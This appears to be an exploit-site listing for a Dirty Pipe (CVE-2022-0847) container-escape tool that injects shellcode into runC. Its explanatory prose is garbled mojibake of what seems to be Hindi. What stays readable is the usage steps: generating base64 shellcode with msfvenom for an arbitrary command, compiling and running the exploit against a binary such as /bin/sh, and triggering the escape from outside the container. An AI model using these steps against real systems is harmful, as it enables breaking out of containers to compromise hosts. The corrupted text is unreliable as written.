Sploitus

Exploit for CVE-2022-0847-container-escape

kitploit ┬╖ 2026-08-19

Exploit Code

MARKDOWN30 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JLSAKUYA-CVE-2022-0847-CONTAINER-ESCAPE
# CVE-2022-0847

рдПрдХ рд╕рд░рд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЬреЛ рдбрд░реНрдЯреАрдкрд╛рдЗрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ runC рдПрдВрдЯреНрд░реАрдкреЙрдЗрдВрдЯ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрдВрдЯреЗрдирд░ рдПрд╕реНрдХреЗрдк рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

## рдЙрдкрдпреЛрдЧ

msf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ base64 рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рддреИрдпрд╛рд░ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    $ msfvenom -p linux/x64/exec CMD="<command>" -f base64
    

рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдХрдВрдкрд╛рдЗрд▓ рдХрд░реЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдВ, **рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдлрд╝рд╛рдЗрд▓ рдирд╛рдо** рд╡рд╣ рдмрд┐рди рд╣реИ рдЬрд┐рд╕реЗ runC рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ (рдЬреИрд╕реЗ /bin/sh):

root@kitploit:~
    
    
    $ gcc exploit.c -o exploit
    $ ./exploit <overwritten filename> <base64 shellcode>
    

CVE-2019-5736 рдХреА рддрд░рд╣ рдХрдВрдЯреЗрдирд░ рдХреЗ рдмрд╛рд╣рд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдФрд░ рд╢реЗрд▓рдХреЛрдб рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВред

## рд╕рдВрджрд░реНрдн

  * Docker рд╕реЗ runC рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛ тАУ CVE-2019-5736 рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛
  * рдХрдВрдЯреЗрдирд░реЛрдВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд░реНрдЯреА рдкрд╛рдЗрдк рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ